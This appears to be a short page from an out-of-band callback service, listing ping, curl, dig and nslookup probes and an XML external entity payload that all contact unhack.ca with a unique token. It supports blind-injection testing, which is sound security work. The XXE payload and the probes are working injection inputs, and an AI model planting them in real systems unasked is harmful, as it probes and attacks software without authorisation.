$ ping -c1 -p 004536ab5ba651e96101e1c5e8ae0a00 unhack.ca
 
$ curl http://unhack.ca/p/4536ab5ba651e96101e1c5e8ae0a
 
$ dig 4536ab5ba651e96101e1c5e8ae0a @unhack.ca
 
$ dig 4536ab5ba651e96101e1c5e8ae0a.ns.unhack.ca
 
C:\> nslookup 4536ab5ba651e96101e1c5e8ae0a unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/4536ab5ba651e96101e1c5e8ae0a">]>
    <foo>&xxe;</foo>
Waiting for ping...